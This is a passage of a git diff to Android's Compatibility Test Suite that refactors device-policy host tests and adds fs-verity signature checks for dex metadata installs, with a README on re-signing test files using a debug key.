     public void testCreateAndManageUser_LogoutUser() throws Exception {
         assumeCanStartNewUser();
 
-        executeDeviceTestMethod(".CreateAndManageUserTest",
-                "testCreateAndManageUser_LogoutUser");
+        executeCreateAndManageUserTest("testCreateAndManageUser_LogoutUser");
         assertNewUserStopped();
     }
 
@@ -292,8 +283,7 @@
     public void testCreateAndManageUser_Affiliated() throws Exception {
         assumeCanStartNewUser();
 
-        executeDeviceTestMethod(".CreateAndManageUserTest",
-                "testCreateAndManageUser_Affiliated");
+        executeCreateAndManageUserTest("testCreateAndManageUser_Affiliated");
     }
 
     /**
@@ -305,8 +295,7 @@
     public void testCreateAndManageUser_Ephemeral() throws Exception {
         assumeCanStartNewUser();
 
-        executeDeviceTestMethod(".CreateAndManageUserTest",
-                "testCreateAndManageUser_Ephemeral");
+        executeCreateAndManageUserTest("testCreateAndManageUser_Ephemeral");
 
         List<Integer> newUsers = getUsersCreatedByTests();
         assertEquals(1, newUsers.size());
@@ -326,32 +315,28 @@
     public void testCreateAndManageUser_LeaveAllSystemApps() throws Exception {
         assumeCanStartNewUser();
 
-        executeDeviceTestMethod(".CreateAndManageUserTest",
-                "testCreateAndManageUser_LeaveAllSystemApps");
+        executeCreateAndManageUserTest("testCreateAndManageUser_LeaveAllSystemApps");
     }
 
     @Test
     public void testCreateAndManageUser_SkipSetupWizard() throws Exception {
         assumeCanCreateOneManagedUser();
 
-        executeDeviceTestMethod(".CreateAndManageUserTest",
-                "testCreateAndManageUser_SkipSetupWizard");
+        executeCreateAndManageUserTest("testCreateAndManageUser_SkipSetupWizard");
     }
 
     @Test
     public void testCreateAndManageUser_AddRestrictionSet() throws Exception {
         assumeCanCreateOneManagedUser();
 
-        executeDeviceTestMethod(".CreateAndManageUserTest",
-                "testCreateAndManageUser_AddRestrictionSet");
+        executeCreateAndManageUserTest("testCreateAndManageUser_AddRestrictionSet");
     }
 
     @Test
     public void testCreateAndManageUser_RemoveRestrictionSet() throws Exception {
         assumeCanCreateOneManagedUser();
 
-        executeDeviceTestMethod(".CreateAndManageUserTest",
-                "testCreateAndManageUser_RemoveRestrictionSet");
+        executeCreateAndManageUserTest("testCreateAndManageUser_RemoveRestrictionSet");
     }
 
     @FlakyTest(bugId = 126955083)
@@ -359,11 +344,10 @@
     public void testUserAddedOrRemovedBroadcasts() throws Exception {
         assumeCanCreateOneManagedUser();
 
-        executeDeviceTestMethod(".CreateAndManageUserTest", "testUserAddedOrRemovedBroadcasts");
+        executeCreateAndManageUserTest("testUserAddedOrRemovedBroadcasts");
     }
 
     @Test
-    @TemporaryIgnoreOnHeadlessSystemUserMode
     public void testUserSession() throws Exception {
         executeDeviceOwnerTest("UserSessionTest");
     }
@@ -852,10 +836,86 @@
     }
 
     @Test
-    public void testDevicePolicySafetyCheckerIntegration() throws Exception {
+    public void testDevicePolicySafetyCheckerIntegration_allOperations() throws Exception {
         executeDeviceTestMethod(".DevicePolicySafetyCheckerIntegrationTest", "testAllOperations");
     }
 
+    @Test
+    public void testDevicePolicySafetyCheckerIntegration_isSafeOperation() throws Exception {
+        executeDeviceTestMethod(".DevicePolicySafetyCheckerIntegrationTest", "testIsSafeOperation");
+    }
+
+    @Test
+    public void testDevicePolicySafetyCheckerIntegration_unsafeStateException() throws Exception {
+        executeDeviceTestMethod(".DevicePolicySafetyCheckerIntegrationTest",
+                "testUnsafeStateException");
+    }
+
+    @Test
+    public void testDevicePolicySafetyCheckerIntegration_onOperationSafetyStateChanged()
+            throws Exception {
+        executeDeviceTestMethod(".DevicePolicySafetyCheckerIntegrationTest",
+                "testOnOperationSafetyStateChanged");
+    }
+
+    @Test
+    public void testListForegroundAffiliatedUsers_notDeviceOwner() throws Exception {
+        if (!removeAdmin(DEVICE_OWNER_COMPONENT, mDeviceOwnerUserId)) {
+            fail("Failed to remove device owner for user " + mDeviceOwnerUserId);
+        }
+
+        executeDeviceTestMethod(".PreDeviceOwnerTest",
+                "testListForegroundAffiliatedUsers_notDeviceOwner");
+    }
+
+    @Test
+    public void testListForegroundAffiliatedUsers_onlyForegroundUser() throws Exception {
+        executeDeviceTestMethod(".ListForegroundAffiliatedUsersTest",
+                "testListForegroundAffiliatedUsers_onlyForegroundUser");
+    }
+
+    // TODO(b/132260693): createAffiliatedSecondaryUser() is failing on headless user
+    @TemporaryIgnoreOnHeadlessSystemUserMode
+    @Test
+    public void testListForegroundAffiliatedUsers_extraUser() throws Exception {
+        assumeCanCreateAdditionalUsers(1);
+        createAffiliatedSecondaryUser();
+
+        executeDeviceTestMethod(".ListForegroundAffiliatedUsersTest",
+                "testListForegroundAffiliatedUsers_onlyForegroundUser");
+    }
+
+    @Test
+    public void testListForegroundAffiliatedUsers_notAffiliated() throws Exception {
+        assumeCanCreateAdditionalUsers(1);
+        int userId = createUser();
+        switchUser(userId);
+
+        executeDeviceTestMethod(".ListForegroundAffiliatedUsersTest",
+                "testListForegroundAffiliatedUsers_empty");
+    }
+
+    // TODO(b/132260693): createAffiliatedSecondaryUser() is failing on headless user
+    @TemporaryIgnoreOnHeadlessSystemUserMode
+    @Test
+    public void testListForegroundAffiliatedUsers_affiliated() throws Exception {
+        assumeCanCreateAdditionalUsers(1);
+        int userId = createAffiliatedSecondaryUser();
+        switchUser(userId);
+
+        executeDeviceTestMethod(".ListForegroundAffiliatedUsersTest",
+                "testListForegroundAffiliatedUsers_onlyForegroundUser");
+    }
+
+    @TemporaryIgnoreOnHeadlessSystemUserMode
+    @Test
+    public void testWifiNetworkConfigurationWithoutFineLocationPermission() throws Exception {
+        getDevice().executeShellCommand(String.format(
+                "pm revoke %s android.permission.ACCESS_FINE_LOCATION", DEVICE_OWNER_PKG));
+
+        executeDeviceOwnerTest("WifiNetworkConfigurationWithoutFineLocationPermissionTest");
+    }
+
     private int createAffiliatedSecondaryUser() throws Exception {
         final int userId = createUser();
         installAppAsUser(INTENT_RECEIVER_APK, userId);
@@ -877,6 +937,10 @@
                 /* deviceOwnerUserId */ mPrimaryUserId, params);
     }
 
+    private void executeCreateAndManageUserTest(String testMethod) throws Exception {
+        executeDeviceTestMethod(".CreateAndManageUserTest", testMethod);
+    }
+
     private void assertNewUserStopped() throws Exception {
         List<Integer> newUsers = getUsersCreatedByTests();
         assertEquals(1, newUsers.size());
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileTest.java
index c6d318a..03e18b4 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileTest.java
@@ -105,6 +105,7 @@
 
     @LargeTest
     @Test
+    @Ignore
     public void testAppLinks_verificationStatus() throws Exception {
         // Disable all pre-existing browsers in the managed profile so they don't interfere with
         // intents resolution.
@@ -140,6 +141,7 @@
 
     @LargeTest
     @Test
+    @Ignore
     public void testAppLinks_enabledStatus() throws Exception {
         // Disable all pre-existing browsers in the managed profile so they don't interfere with
         // intents resolution.
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedDeviceOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedDeviceOwnerTest.java
index 5f07a53..52985cb 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedDeviceOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedDeviceOwnerTest.java
@@ -44,6 +44,7 @@
 public class MixedDeviceOwnerTest extends DeviceAndProfileOwnerTest {
 
     private static final String DELEGATION_NETWORK_LOGGING = "delegation-network-logging";
+    private static final String LOG_TAG_DEVICE_OWNER = "device-owner";
 
     private static final String ARG_SECURITY_LOGGING_BATCH_NUMBER = "batchNumber";
     private static final int SECURITY_EVENTS_BATCH_SIZE = 100;
@@ -178,15 +179,18 @@
                         .setAdminPackageName(DELEGATE_APP_PKG)
                         .setBoolean(true)
                         .setInt(1)
+                        .setStrings(LOG_TAG_DEVICE_OWNER)
                         .build(),
                 new DevicePolicyEventWrapper.Builder(EventId.RETRIEVE_NETWORK_LOGS_VALUE)
                         .setAdminPackageName(DELEGATE_APP_PKG)
                         .setBoolean(true)
+                        .setStrings(LOG_TAG_DEVICE_OWNER)
                         .build(),
                 new DevicePolicyEventWrapper.Builder(EventId.SET_NETWORK_LOGGING_ENABLED_VALUE)
                         .setAdminPackageName(DELEGATE_APP_PKG)
                         .setBoolean(true)
                         .setInt(0)
+                        .setStrings(LOG_TAG_DEVICE_OWNER)
                         .build(),
         };
         result.put(".NetworkLoggingDelegateTest", expectedMetrics);
@@ -367,6 +371,17 @@
                 "testAdminCanGrantSensorsPermissions");
     }
 
+    @Override
+    @Test
+    public void testGrantOfSensorsRelatedPermissions() throws Exception {
+        // Skip for now, re-enable when the code path sets DO as able to grant permissions.
+    }
+
+    @Override
+    @Test
+    public void testSensorsRelatedPermissionsNotGrantedViaPolicy() throws Exception {
+        // Skip for now, re-enable when the code path sets DO as able to grant permissions.
+    }
 
     private void configureNotificationListener() throws DeviceNotAvailableException {
         getDevice().executeShellCommand("cmd notification allow_listener "
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedManagedProfileOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedManagedProfileOwnerTest.java
index 1e3e73c..4924f00 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedManagedProfileOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedManagedProfileOwnerTest.java
@@ -134,6 +134,11 @@
         // and profile owners on the primary user.
     }
 
+    @Test
+    public void testSetGetNetworkSlicingStatus() throws Exception {
+        executeDeviceTestMethod(".NetworkSlicingStatusTest", "testGetSetNetworkSlicingStatus");
+    }
+
     /** VPN tests don't require physical device for managed profile, thus overriding. */
     @FlakyTest
     @Override
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/OrgOwnedProfileOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/OrgOwnedProfileOwnerTest.java
index 1321697..a05eab1 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/OrgOwnedProfileOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/OrgOwnedProfileOwnerTest.java
@@ -48,6 +48,7 @@
     private static final String CERT_INSTALLER_APK = DeviceAndProfileOwnerTest.CERT_INSTALLER_APK;
     private static final String DELEGATE_APP_PKG = DeviceAndProfileOwnerTest.DELEGATE_APP_PKG;
     private static final String DELEGATE_APP_APK = DeviceAndProfileOwnerTest.DELEGATE_APP_APK;
+    private static final String LOG_TAG_PROFILE_OWNER = "profile-owner";
 
     private static final String ADMIN_RECEIVER_TEST_CLASS =
             DeviceAndProfileOwnerTest.ADMIN_RECEIVER_TEST_CLASS;
@@ -662,6 +663,30 @@
         }
     }
 
+    @Test
+    public void testNetworkLoggingLogged() throws Exception {
+        installAppAsUser(DEVICE_ADMIN_APK, mPrimaryUserId);
+        assertMetricsLogged(getDevice(), () -> {
+            testNetworkLoggingOnWorkProfile(DEVICE_ADMIN_PKG, ".NetworkLoggingTest");
+        }, new DevicePolicyEventWrapper.Builder(EventId.SET_NETWORK_LOGGING_ENABLED_VALUE)
+                .setAdminPackageName(DEVICE_ADMIN_PKG)
+                .setBoolean(false)
+                .setInt(1)
+                .setStrings(LOG_TAG_PROFILE_OWNER)
+                .build(),
+           new DevicePolicyEventWrapper.Builder(EventId.RETRIEVE_NETWORK_LOGS_VALUE)
+                .setAdminPackageName(DEVICE_ADMIN_PKG)
+                .setBoolean(false)
+                .setStrings(LOG_TAG_PROFILE_OWNER)
+                .build(),
+           new DevicePolicyEventWrapper.Builder(EventId.SET_NETWORK_LOGGING_ENABLED_VALUE)
+                .setAdminPackageName(DEVICE_ADMIN_PKG)
+                .setBoolean(false)
+                .setInt(0)
+                .setStrings(LOG_TAG_PROFILE_OWNER)
+                .build());
+    }
+
     private void toggleQuietMode(boolean quietModeEnable) throws Exception {
         final String str;
         // TV launcher uses intent filter priority to prevent 3p launchers replacing it
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ProfileOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ProfileOwnerTest.java
index aedcabc..d4c3c14 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ProfileOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ProfileOwnerTest.java
@@ -73,8 +73,24 @@
     }
 
     @Test
-    public void testDevicePolicySafetyCheckerIntegration() throws Exception {
-        executeProfileOwnerTest("DevicePolicySafetyCheckerIntegrationTest");
+    public void testDevicePolicySafetyCheckerIntegration_allOperations() throws Exception {
+        executeDevicePolicySafetyCheckerIntegrationTest("testAllOperations");
+    }
+
+    @Test
+    public void testDevicePolicySafetyCheckerIntegration_isSafeOperation() throws Exception {
+        executeDevicePolicySafetyCheckerIntegrationTest("testIsSafeOperation");
+    }
+
+    @Test
+    public void testDevicePolicySafetyCheckerIntegration_unsafeStateException() throws Exception {
+        executeDevicePolicySafetyCheckerIntegrationTest("testUnsafeStateException");
+    }
+
+    @Test
+    public void testDevicePolicySafetyCheckerIntegration_onOperationSafetyStateChanged()
+            throws Exception {
+        executeDevicePolicySafetyCheckerIntegrationTest("testOnOperationSafetyStateChanged");
     }
 
     @Override
@@ -95,4 +111,9 @@
             throws Exception {
         runDeviceTestsAsUser(PROFILE_OWNER_PKG, className, testName, mUserId);
     }
+
+    private void executeDevicePolicySafetyCheckerIntegrationTest(String testName) throws Exception {
+        executeProfileOwnerTestMethod(
+                PROFILE_OWNER_PKG + "." + "DevicePolicySafetyCheckerIntegrationTest", testName);
+    }
 }
diff --git a/hostsidetests/dexmetadata/host/README.md b/hostsidetests/dexmetadata/host/README.md
new file mode 100644
index 0000000..b1b3a95
--- /dev/null
+++ b/hostsidetests/dexmetadata/host/README.md
@@ -0,0 +1,30 @@
+Fs-verity keys
+==============
+All AOSP compatible devices ship with the Google-managed fs-verity certificate
+(located at build/make/target/product/security/fsverity-release.x509.der). The
+public key can verify the signature prebuilt of .dm.fsv\_sig in res/.
+
+Modifying a .dm file requires to regenerate the signature with some debug key.
+To use the debug key, you can run the following commands once per boot.
+
+```
+KEY_DIR=$ANDROID_BUILD_TOP/cts/hostsidetests/appsecurity/test-apps/ApkVerityTestApp/testdata
+
+adb root
+adb shell 'mini-keyctl padd asymmetric fsv-play .fs-verity' < $KEY_DIR/fsverity-debug.x509.der
+```
+
+Alternatively, copy the .der file to /{system, product}/etc/security/fsverity.
+The key will be located upon reboot.
+
+How to modify the signed .dm
+============================
+The easiet way is to re-sign and replace the signature in place. For example,
+
+```
+m fsverity
+
+fsverity sign CtsDexMetadataSplitApp.dm CtsDexMetadataSplitApp.dm.fsv_sig \
+  --key="$KEY_DIR/fsverity-debug-key.pem" \
+  --cert="$KEY_DIR/fsverity-debug.x509.pem"
+```
diff --git a/hostsidetests/dexmetadata/host/res/CtsDexMetadataSplitApp.dm.fsv_sig b/hostsidetests/dexmetadata/host/res/CtsDexMetadataSplitApp.dm.fsv_sig
new file mode 100644
index 0000000..ba049b5
--- /dev/null
+++ b/hostsidetests/dexmetadata/host/res/CtsDexMetadataSplitApp.dm.fsv_sig
Binary files differ
diff --git a/hostsidetests/dexmetadata/host/res/CtsDexMetadataSplitAppFeatureA.dm.fsv_sig b/hostsidetests/dexmetadata/host/res/CtsDexMetadataSplitAppFeatureA.dm.fsv_sig
new file mode 100644
index 0000000..2f56cb0
--- /dev/null
+++ b/hostsidetests/dexmetadata/host/res/CtsDexMetadataSplitAppFeatureA.dm.fsv_sig
Binary files differ
diff --git a/hostsidetests/dexmetadata/host/res/CtsDexMetadataSplitAppFeatureAWithVdex.dm.fsv_sig b/hostsidetests/dexmetadata/host/res/CtsDexMetadataSplitAppFeatureAWithVdex.dm.fsv_sig
new file mode 100644
index 0000000..4957651
--- /dev/null
+++ b/hostsidetests/dexmetadata/host/res/CtsDexMetadataSplitAppFeatureAWithVdex.dm.fsv_sig
Binary files differ
diff --git a/hostsidetests/dexmetadata/host/res/CtsDexMetadataSplitAppWithVdex.dm.fsv_sig b/hostsidetests/dexmetadata/host/res/CtsDexMetadataSplitAppWithVdex.dm.fsv_sig
new file mode 100644
index 0000000..fc9f808
--- /dev/null
+++ b/hostsidetests/dexmetadata/host/res/CtsDexMetadataSplitAppWithVdex.dm.fsv_sig
Binary files differ
diff --git a/hostsidetests/dexmetadata/host/src/com/android/cts/dexmetadata/BaseInstallMultiple.java b/hostsidetests/dexmetadata/host/src/com/android/cts/dexmetadata/BaseInstallMultiple.java
index eb9498e..7f81e06 100644
--- a/hostsidetests/dexmetadata/host/src/com/android/cts/dexmetadata/BaseInstallMultiple.java
+++ b/hostsidetests/dexmetadata/host/src/com/android/cts/dexmetadata/BaseInstallMultiple.java
@@ -57,8 +57,17 @@
         return (T) this;
     }
 
-    T addDm(File dma) {
+    T addDm(File dma, File sig) {
         mFilesToInstall.add(dma);
+        if (sig != null) {
+            mFilesToInstall.add(sig);
+        }
+        return (T) this;
+    }
+
+    T inheritFrom(String packageName) {
+        addArg("-r");
+        addArg("-p " + packageName);
         return (T) this;
     }
 
diff --git a/hostsidetests/dexmetadata/host/src/com/android/cts/dexmetadata/InstallDexMetadataHostTest.java b/hostsidetests/dexmetadata/host/src/com/android/cts/dexmetadata/InstallDexMetadataHostTest.java
index ad6aef8..7c11420 100644
--- a/hostsidetests/dexmetadata/host/src/com/android/cts/dexmetadata/InstallDexMetadataHostTest.java
+++ b/hostsidetests/dexmetadata/host/src/com/android/cts/dexmetadata/InstallDexMetadataHostTest.java
@@ -18,10 +18,13 @@
 
 import static org.junit.Assert.assertArrayEquals;
 import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
 import static org.junit.Assert.assertTrue;
 
 import com.android.compatibility.common.util.ApiLevelUtil;
+import com.android.tradefed.device.ITestDevice;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
 import com.android.tradefed.util.FileUtil;
@@ -68,23 +71,32 @@
     private static final String DM_FEATURE_A_WITH_VDEX
     = "CtsDexMetadataSplitAppFeatureAWithVdex.dm";
 
+    private static final String APK_VERITY_STANDARD_MODE = "2";
+    private static final String FSV_SIG_SUFFIX = ".fsv_sig";
+
     private File mTmpDir;
     private File mApkBaseFile = null;
     private File mApkFeatureAFile = null;
     private File mApkBaseFileWithVdex = null;
     private File mApkFeatureAFileWithVdex = null;
     private File mDmBaseFile = null;
+    private File mDmBaseFsvSigFile = null;
     private File mDmFeatureAFile = null;
+    private File mDmFeatureAFsvSigFile = null;
     private File mDmBaseFileWithVdex = null;
+    private File mDmBaseFileWithVdexFsvSig = null;
     private File mDmFeatureAFileWithVdex = null;
+    private File mDmFeatureAFileWithVdexFsvSig = null;
     private boolean mShouldRunTests;
+    private boolean mFsVerityRequiredForDm;
 
     /**
      * Setup the test.
      */
     @Before
     public void setUp() throws Exception {
-        getDevice().uninstallPackage(INSTALL_PACKAGE);
+        ITestDevice device = getDevice();
+        device.uninstallPackage(INSTALL_PACKAGE);
         mShouldRunTests = ApiLevelUtil.isAtLeast(getDevice(), 28)
                 || ApiLevelUtil.isAtLeast(getDevice(), "P")
                 || ApiLevelUtil.codenameEquals(getDevice(), "P");
@@ -92,15 +104,27 @@
         Assume.assumeTrue("Skip DexMetadata tests on releases before P.", mShouldRunTests);
 
         if (mShouldRunTests) {
+            boolean fsVeritySupported = device.getLaunchApiLevel() >= 30
+                    || APK_VERITY_STANDARD_MODE.equals(device.getProperty("ro.apk_verity.mode"));
+            boolean fsVerityRequired = "true".equals(
+                    device.getProperty("pm.dexopt.dm.require_fsverity"));
+            mFsVerityRequiredForDm = fsVeritySupported && fsVerityRequired;
+
             mTmpDir = FileUtil.createTempDir("InstallDexMetadataHostTest");
             mApkBaseFile = extractResource(APK_BASE, mTmpDir);
             mApkFeatureAFile = extractResource(APK_FEATURE_A, mTmpDir);
             mApkBaseFileWithVdex = extractResource(APK_BASE_WITH_VDEX, mTmpDir);
             mApkFeatureAFileWithVdex = extractResource(APK_FEATURE_A_WITH_VDEX, mTmpDir);
             mDmBaseFile = extractResource(DM_BASE, mTmpDir);
+            mDmBaseFsvSigFile = extractResource(DM_BASE + FSV_SIG_SUFFIX , mTmpDir);
             mDmFeatureAFile = extractResource(DM_FEATURE_A, mTmpDir);
+            mDmFeatureAFsvSigFile = extractResource(DM_FEATURE_A + FSV_SIG_SUFFIX, mTmpDir);
             mDmBaseFileWithVdex = extractResource(DM_BASE_WITH_VDEX, mTmpDir);
+            mDmBaseFileWithVdexFsvSig = extractResource(
+                    DM_BASE_WITH_VDEX + FSV_SIG_SUFFIX, mTmpDir);
             mDmFeatureAFileWithVdex = extractResource(DM_FEATURE_A_WITH_VDEX, mTmpDir);
+            mDmFeatureAFileWithVdexFsvSig = extractResource(
+                    DM_FEATURE_A_WITH_VDEX + FSV_SIG_SUFFIX, mTmpDir);
         }
     }
 
@@ -118,7 +142,7 @@
      */
     @Test
     public void testInstallDmForBase() throws Exception {
-        new InstallMultiple().addApk(mApkBaseFile).addDm(mDmBaseFile).run();
+        new InstallMultiple().addApk(mApkBaseFile).addDm(mDmBaseFile, mDmBaseFsvSigFile).run();
         assertNotNull(getDevice().getAppPackageInfo(INSTALL_PACKAGE));
 
         assertTrue(runDeviceTests(TEST_PACKAGE, TEST_CLASS, "testDmForBase"));
@@ -129,8 +153,8 @@
      */
     @Test
     public void testInstallDmForBaseAndSplit() throws Exception {
-        new InstallMultiple().addApk(mApkBaseFile).addDm(mDmBaseFile)
-                .addApk(mApkFeatureAFile).addDm(mDmFeatureAFile).run();
+        new InstallMultiple().addApk(mApkBaseFile).addDm(mDmBaseFile, mDmBaseFsvSigFile)
+                .addApk(mApkFeatureAFile).addDm(mDmFeatureAFile, mDmFeatureAFsvSigFile).run();
         assertNotNull(getDevice().getAppPackageInfo(INSTALL_PACKAGE));
 
         assertTrue(runDeviceTests(TEST_PACKAGE, TEST_CLASS, "testDmForBaseAndSplit"));
@@ -141,7 +165,7 @@
      */
     @Test
     public void testInstallDmForBaseButNoSplit() throws Exception {
-        new InstallMultiple().addApk(mApkBaseFile).addDm(mDmBaseFile)
+        new InstallMultiple().addApk(mApkBaseFile).addDm(mDmBaseFile, mDmBaseFsvSigFile)
                 .addApk(mApkFeatureAFile).run();
         assertNotNull(getDevice().getAppPackageInfo(INSTALL_PACKAGE));
 
@@ -154,7 +178,7 @@
     @Test
     public void testInstallDmForSplitButNoBase() throws Exception {
         new InstallMultiple().addApk(mApkBaseFile)
-                .addApk(mApkFeatureAFile).addDm(mDmFeatureAFile).run();
+                .addApk(mApkFeatureAFile).addDm(mDmFeatureAFile, mDmFeatureAFsvSigFile).run();
         assertNotNull(getDevice().getAppPackageInfo(INSTALL_PACKAGE));
 
         assertTrue(runDeviceTests(TEST_PACKAGE, TEST_CLASS, "testDmForSplitButNoBase"));
@@ -165,8 +189,8 @@
      */
     @Test
     public void testUpdateDm() throws Exception {
-        new InstallMultiple().addApk(mApkBaseFile).addDm(mDmBaseFile)
-                .addApk(mApkFeatureAFile).addDm(mDmFeatureAFile).run();
+        new InstallMultiple().addApk(mApkBaseFile).addDm(mDmBaseFile, mDmBaseFsvSigFile)
+                .addApk(mApkFeatureAFile).addDm(mDmFeatureAFile, mDmFeatureAFsvSigFile).run();
         assertNotNull(getDevice().getAppPackageInfo(INSTALL_PACKAGE));
 
         assertTrue(runDeviceTests(TEST_PACKAGE, TEST_CLASS, "testDmForBaseAndSplit"));
@@ -180,11 +204,12 @@
 
         // Add only a split .dm file during update.
         new InstallMultiple().addArg("-r").addApk(mApkBaseFile)
-                .addApk(mApkFeatureAFile).addDm(mDmFeatureAFile).run();
+                .addApk(mApkFeatureAFile).addDm(mDmFeatureAFile, mDmFeatureAFsvSigFile).run();
         assertNotNull(getDevice().getAppPackageInfo(INSTALL_PACKAGE));
 
         assertTrue(runDeviceTests(TEST_PACKAGE, TEST_CLASS, "testDmForSplitButNoBase"));
     }
+
     /**
      * Verify .dm installation for base but not for splits and with a .dm file that doesn't match
      * an apk.
@@ -194,8 +219,12 @@
         File nonMatchingDm = new File(mDmFeatureAFile.getAbsoluteFile().getAbsolutePath()
                 .replace(".dm", ".not.there.dm"));
         FileUtil.copyFile(mDmFeatureAFile, nonMatchingDm);
-        new InstallMultiple().addApk(mApkBaseFile).addDm(mDmBaseFile)
-                .addApk(mApkFeatureAFile).addDm(nonMatchingDm).run();
+        File nonMatchingDmFsvSig = new File(mDmFeatureAFsvSigFile.getAbsoluteFile()
+                .getAbsolutePath()
+                .replace(".dm" + FSV_SIG_SUFFIX, ".not.there.dm" + FSV_SIG_SUFFIX));
+        FileUtil.copyFile(mDmFeatureAFsvSigFile, nonMatchingDmFsvSig);
+        new InstallMultiple().addApk(mApkBaseFile).addDm(mDmBaseFile, mDmBaseFsvSigFile)
+                .addApk(mApkFeatureAFile).addDm(nonMatchingDm, nonMatchingDmFsvSig).run();
         assertNotNull(getDevice().getAppPackageInfo(INSTALL_PACKAGE));
 
         assertTrue(runDeviceTests(TEST_PACKAGE, TEST_CLASS, "testDmForBaseButNoSplit"));
@@ -228,7 +257,7 @@
         assumeProfilesAreEnabled();
 
         // Install the app.
-        new InstallMultiple().addApk(mApkBaseFile).addDm(mDmBaseFile).run();
+        new InstallMultiple().addApk(mApkBaseFile).addDm(mDmBaseFile, mDmBaseFsvSigFile).run();
 
         // Take a snapshot of the installed profile.
         String snapshotCmd = "cmd package snapshot-profile " + INSTALL_PACKAGE;
@@ -248,7 +277,8 @@
      */
     @Test
     public void testInstallDmForBaseWithVdex() throws Exception {
-        new InstallMultiple().addApk(mApkBaseFileWithVdex).addDm(mDmBaseFileWithVdex).run();
+        new InstallMultiple().addApk(mApkBaseFileWithVdex)
+                .addDm(mDmBaseFileWithVdex, mDmBaseFileWithVdexFsvSig).run();
         assertNotNull(getDevice().getAppPackageInfo(INSTALL_PACKAGE));
 
         assertTrue(runDeviceTests(TEST_PACKAGE, TEST_CLASS, "testDmForBase"));
@@ -259,13 +289,61 @@
      */
     @Test
     public void testInstallDmForBaseAndSplitWithVdex() throws Exception {
-        new InstallMultiple().addApk(mApkBaseFileWithVdex).addDm(mDmBaseFileWithVdex)
-                .addApk(mApkFeatureAFileWithVdex).addDm(mDmFeatureAFileWithVdex).run();
+        new InstallMultiple().addApk(mApkBaseFileWithVdex)
+                .addDm(mDmBaseFileWithVdex, mDmBaseFileWithVdexFsvSig)
+                .addApk(mApkFeatureAFileWithVdex)
+                .addDm(mDmFeatureAFileWithVdex, mDmFeatureAFileWithVdexFsvSig).run();
         assertNotNull(getDevice().getAppPackageInfo(INSTALL_PACKAGE));
 
         assertTrue(runDeviceTests(TEST_PACKAGE, TEST_CLASS, "testDmForBaseAndSplit"));
     }
 
+    /** Verify .dm installation without .fsv_sig for base. */
+    @Test
+    public void testInstallDmFailedWithoutFsvSigForBase() throws Exception {
+        InstallMultiple installer = new InstallMultiple().addApk(mApkBaseFile)
+                .addDm(mDmBaseFile, null);
+        if (mFsVerityRequiredForDm) {
+            installer.runExpectingFailure();
+            assertNull(getDevice().getAppPackageInfo(INSTALL_PACKAGE));
+        } else {
+            installer.run();
+            assertNotNull(getDevice().getAppPackageInfo(INSTALL_PACKAGE));
+            assertTrue(runDeviceTests(TEST_PACKAGE, TEST_CLASS, "testDmForBase"));
+        }
+    }
+
+    /** Verify .dm installation without .fsv_sig for split. */
+    @Test
+    public void testInstallDmWithoutFsvSigForSplit() throws Exception {
+        InstallMultiple installer = new InstallMultiple()
+                .addApk(mApkBaseFile)
+                .addDm(mDmBaseFile, mDmBaseFsvSigFile)
+                .addApk(mApkFeatureAFile)
+                .addDm(mDmFeatureAFile, null);
+        if (mFsVerityRequiredForDm) {
+            installer.runExpectingFailure();
+            assertNull(getDevice().getAppPackageInfo(INSTALL_PACKAGE));
+        } else {
+            installer.run();
+            assertNotNull(getDevice().getAppPackageInfo(INSTALL_PACKAGE));
+            assertTrue(runDeviceTests(TEST_PACKAGE, TEST_CLASS, "testDmForBaseAndSplit"));
+        }
+    }
+
+    /** Verify .dm installation without .fsv_sig for split-only install. */
+    @Test
+    public void testInstallDmWithoutFsvSigForSplitOnlyInstall() throws Exception {
+        new InstallMultiple().addApk(mApkBaseFile).addDm(mDmBaseFile, mDmBaseFsvSigFile).run();
+        assertNotNull(getDevice().getAppPackageInfo(INSTALL_PACKAGE));
+
+        new InstallMultiple()
+                .inheritFrom(TEST_PACKAGE)
+                .addApk(mApkFeatureAFile).addDm(mDmFeatureAFile, null)
+                .runExpectingFailure();
+        assertNotNull(getDevice().getAppPackageInfo(INSTALL_PACKAGE));
+    }
+
     /** Verify that the use of profiles is enabled on the device. */
     private void assumeProfilesAreEnabled() throws Exception {
         String useProfiles = getDevice().executeShellCommand(
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/BaseHdmiCecCtsTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/BaseHdmiCecCtsTest.java
index 7c966dd0..2626bb3 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/BaseHdmiCecCtsTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/BaseHdmiCecCtsTest.java
@@ -188,7 +188,8 @@
     }
 
     private static void setCecVersion(ITestDevice device, int cecVersion) throws Exception {
